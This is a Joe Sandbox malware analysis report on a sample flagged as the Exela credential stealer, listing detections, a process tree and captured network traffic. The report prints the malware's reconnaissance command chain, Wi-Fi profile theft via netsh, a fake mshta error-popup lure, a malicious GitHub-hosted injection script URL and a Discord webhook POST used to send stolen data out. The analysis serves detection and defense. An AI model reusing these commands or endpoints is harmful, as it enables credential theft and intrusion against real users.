Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
9afaXJv52z.exe

Overview

General Information

Sample name:9afaXJv52z.exe
renamed because original name is a hash value
Original sample name:ca120c365ddd0e24311e36e1ec5d4af6db21b0f2ebd6f7dfd0d6a3a730621367.exe
Analysis ID:1374178
MD5:4d70f444794dedf45c2a6562d4eaed19
SHA1:337a7a9be709b1a3f848256c9e4a421911c265be
SHA256:ca120c365ddd0e24311e36e1ec5d4af6db21b0f2ebd6f7dfd0d6a3a730621367
Tags:exe
Infos:

Detection

Exela Stealer
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Yara detected Exela Stealer
DLL side loading technique detected
Drops PE files to the startup folder
Found many strings related to Crypto-Wallets (likely being stolen)
Gathers network related connection and port information
Modifies the windows firewall
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Uses cmd line tools excessively to alter registry or file data
Uses netsh to modify the Windows network and firewall settings
Binary contains a suspicious time stamp
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates a window with clipboard capturing capabilities
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
PE file does not import any functions
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for the Microsoft Outlook file path
Steals Internet Explorer cookies
Stores files to the Windows start menu directory
Tries to load missing DLLs
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer

Classification

Process Tree

  • System is w10x64
  • 9afaXJv52z.exe (PID: 6720 cmdline: C:\Users\user\Desktop\9afaXJv52z.exe MD5: 4D70F444794DEDF45C2A6562D4EAED19)
    • 9afaXJv52z.exe (PID: 5828 cmdline: C:\Users\user\Desktop\9afaXJv52z.exe MD5: 4D70F444794DEDF45C2A6562D4EAED19)
      • cmd.exe (PID: 6920 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 4452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 7384 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WMIC.exe (PID: 7588 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • cmd.exe (PID: 7428 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WMIC.exe (PID: 7660 cmdline: wmic computersystem get Manufacturer MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • cmd.exe (PID: 7460 cmdline: C:\Windows\system32\cmd.exe /c "gdb --version" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 7516 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 7688 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 7820 cmdline: C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WMIC.exe (PID: 7872 cmdline: wmic path Win32_ComputerSystem get Manufacturer MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • cmd.exe (PID: 7936 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WMIC.exe (PID: 8024 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • cmd.exe (PID: 7944 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 8040 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 8144 cmdline: C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • attrib.exe (PID: 7156 cmdline: attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)
          • Conhost.exe (PID: 7620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 5060 cmdline: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 1476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • mshta.exe (PID: 1240 cmdline: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)
      • cmd.exe (PID: 3180 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 7668 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 7644 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 7720 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 7712 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 7732 cmdline: powershell.exe Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 7536 cmdline: C:\Windows\system32\cmd.exe /c "chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 4828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • chcp.com (PID: 3964 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)
      • cmd.exe (PID: 7420 cmdline: C:\Windows\system32\cmd.exe /c "chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • chcp.com (PID: 7840 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)
      • cmd.exe (PID: 7896 cmdline: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • systeminfo.exe (PID: 8084 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)
          • WmiPrvSE.exe (PID: 644 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
        • HOSTNAME.EXE (PID: 2020 cmdline: hostname MD5: 33AFAA43B84BDEAB12E02F9DBD2B2EE0)
        • WMIC.exe (PID: 3180 cmdline: wmic logicaldisk get caption,description,providername MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
        • net.exe (PID: 3964 cmdline: net user MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)
          • net1.exe (PID: 7736 cmdline: C:\Windows\system32\net1 user MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)
        • query.exe (PID: 7552 cmdline: query user MD5: 29043BC0B0F99EAFF36CAD35CBEE8D45)
          • quser.exe (PID: 7864 cmdline: C:\Windows\system32\quser.exe MD5: 480868AEBA9C04CA04D641D5ED29937B)
        • net.exe (PID: 7828 cmdline: net localgroup MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)
          • net1.exe (PID: 7992 cmdline: C:\Windows\system32\net1 localgroup MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)
        • net.exe (PID: 1056 cmdline: net localgroup administrators MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)
          • net1.exe (PID: 6836 cmdline: C:\Windows\system32\net1 localgroup administrators MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)
        • net.exe (PID: 1180 cmdline: net user guest MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)
      • cmd.exe (PID: 7912 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • netsh.exe (PID: 8124 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)
      • Conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • svchost.exe (PID: 8148 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_ExelaStealerYara detected Exela StealerJoe Security
    00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
      00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_ExelaStealerYara detected Exela StealerJoe Security
        00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
          00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_ExelaStealerYara detected Exela StealerJoe Security
            Click to see the 3 entries

            Sigma Signatures

            Stealing of Sensitive Information

            barindex
            Sigma detected: Capture Wi-Fi password
            Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\Desktop\9afaXJv52z.exe, ParentImage: C:\Users\user\Desktop\9afaXJv52z.exe, ParentProcessId: 5828, ParentProcessName: 9afaXJv52z.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", ProcessId: 7912, ProcessName: cmd.exe

            Snort Signatures

            ⊘No Snort rule has matched

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus / Scanner detection for submitted sample
            Source: 9afaXJv52z.exeAvira: detected
            Antivirus detection for URL or domain
            Source: https://raw.githubusercontent.com/justforExela/injection/main/injection.jsAvira URL Cloud: Label: malware
            Antivirus detection for dropped file
            Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exeAvira: detection malicious, Label: TR/Kryptik.tobsf
            Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exeAvira: detection malicious, Label: TR/Kryptik.tobsf
            Multi AV Scanner detection for dropped file
            Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exeReversingLabs: Detection: 52%
            Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exeVirustotal: Detection: 65%Perma Link
            Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exeReversingLabs: Detection: 52%
            Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exeVirustotal: Detection: 65%Perma Link
            Multi AV Scanner detection for submitted file
            Source: 9afaXJv52z.exeReversingLabs: Detection: 52%
            Source: 9afaXJv52z.exeVirustotal: Detection: 65%Perma Link
            Source: 9afaXJv52z.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
            Source: Binary string: D:\_w\1\b\bin\amd64\python3.pdb source: 9afaXJv52z.exe, 00000000.00000003.1249826162.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1564172723.0000020DAB880000.00000002.00000001.01000000.00000006.sdmp
            Source: Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: 9afaXJv52z.exe, 00000000.00000003.1243849896.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C7E4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,0_2_00007FF6850C7E4C
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850B88D0 FindFirstFileExW,FindClose,0_2_00007FF6850B88D0
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D1EE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_00007FF6850D1EE4
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C7E4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,0_2_00007FF6850C7E4C
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\imagesJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\htmlJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmiedaJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\cssJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_localesJump to behavior
            Source: Joe Sandbox ViewIP Address: 208.95.112.1 208.95.112.1
            Source: unknownDNS query: name: ip-api.com
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficHTTP traffic detected: GET /getServer HTTP/1.1Host: api.gofile.ioAccept: */*Accept-Encoding: gzip, deflateUser-Agent: Python/3.11 aiohttp/3.9.1
            Source: global trafficHTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comAccept: */*Accept-Encoding: gzip, deflateUser-Agent: Python/3.11 aiohttp/3.9.1
            Source: unknownDNS traffic detected: queries for: ip-api.com
            Source: unknownHTTP traffic detected: POST /api/webhooks/1190831584878809150/43baozn0FAVEYDo8eF-XivB5Q0JQGjw6pMMgTYce34wCzvDF3gAtdM_zDzFY9WMg2T-- HTTP/1.1Host: discord.comContent-Type: application/jsonAccept: */*Accept-Encoding: gzip, deflateUser-Agent: Python/3.11 aiohttp/3.9.1Content-Length: 1481
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Jan 2024 05:50:27 GMTContent-Type: application/jsonContent-Length: 45Connection: closeset-cookie: __dcfduid=a7326af6b1d711ee8a71f6ae5b42f42d; Expires=Thu, 11-Jan-2029 05:50:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Laxstrict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1705125029x-ratelimit-reset-after: 1via: 1.1 googleAlt-Svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jLx5duCHgW2RQLiJj4bw%2BlbL9cagFn%2F4d4Z30bL20RQRryiSZmuboeShqYkIoOWZMIG8AWSO%2BbuvtgojH8LgU8JFU48%2BSoQA45gvY5ZZW58xoLCoEazCbC1i4TEK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: __sdcfduid=a7326af6b1d711ee8a71f6ae5b42f42d54e26f373fdf86319292142ab3e5999144397f4f80adacce011ffd6c0fb5ab76; Expires=Thu, 11-Jan-2029 05:50:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=LaxSet-Cookie: __cfruid=a74299eec30796612ee1aba559cec2ac39e412a1-1705125027; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Jan 2024 05:50:28 GMTContent-Type: application/jsonContent-Length: 45Connection: closeset-cookie: __dcfduid=a77e5eb6b1d711eeb084def28c803d5e; Expires=Thu, 11-Jan-2029 05:50:28 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Laxstrict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1705125029x-ratelimit-reset-after: 1via: 1.1 googleAlt-Svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vSHjjOFB3RExvl2kPkMVZ4w69meWRLvTViZStUOmBP6Zmky4L9s%2BBrAp%2B0frBc%2Bjjd5y4H266GvXOaMbgt9Zngs%2FabxLTXQ6juMDjTK7Tv%2BMaqVMNNrCI4PPdg1%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: __sdcfduid=a77e5eb6b1d711eeb084def28c803d5e56763b60dec7105d2cf6476e8a4f1f53993f110e60fee5b9918b2fc4551b2735; Expires=Thu, 11-Jan-2029 05:50:28 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Jan 2024 05:50:29 GMTContent-Type: application/jsonContent-Length: 45Connection: closestrict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1705125030x-ratelimit-reset-after: 1via: 1.1 googleAlt-Svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=H4X4LKwSel9ZQTXmcnvWKIUx2J03G%2BwsGdx0vPP3s6VVvxvewTz7yElHmr0TTqLfuyJXj%2BoBPSv%2F10J9O5MZPXuV6xEDyyAdJCxUw3RarviLt6lp1MdqpmSacwe6"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Server: cloudflareCF-RAY: 844b5ca3cb52399a-IAD
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Jan 2024 05:50:33 GMTContent-Type: application/jsonContent-Length: 45Connection: closeset-cookie: __dcfduid=aa6eaf9ab1d711eeb2b12aa5ff753884; Expires=Thu, 11-Jan-2029 05:50:33 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Laxstrict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1705125034x-ratelimit-reset-after: 1via: 1.1 googleAlt-Svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6V2Wco0lmtpiRIp9Uv%2F26zoevI66cBr5OJ9ZNhqDtS3tcU4Is9nDgcDOPO%2ByQqXnRMpQtoEmzVFWpEWNX7VMLijiGTo0qmjG2bEqaM3Ue7C%2FrBksIA6pZEm9prb5"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: __sdcfduid=aa6eaf9ab1d711eeb2b12aa5ff7538849237bb3b5d6d2c90007dbe710cf160c2fca5a7dda41e6a273e5df00fc07f4769; Expires=Thu, 11-Jan-2029 05:50:33 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=LaxSet-Cookie: __cfruid=c9ed6a3e83268c7c3fb7dd8277627ee24c608a2f-1705125033; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
            Source: 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08F2000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
            Source: 9afaXJv52z.exe, 00000000.00000003.1249086752.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249717286.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250272952.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244115829.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244442453.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1251123271.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244934313.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244562675.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250812728.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245362425.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08F2000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245483808.00000170C08F0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245140379.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244644310.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08F0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244334483.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
            Source: 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
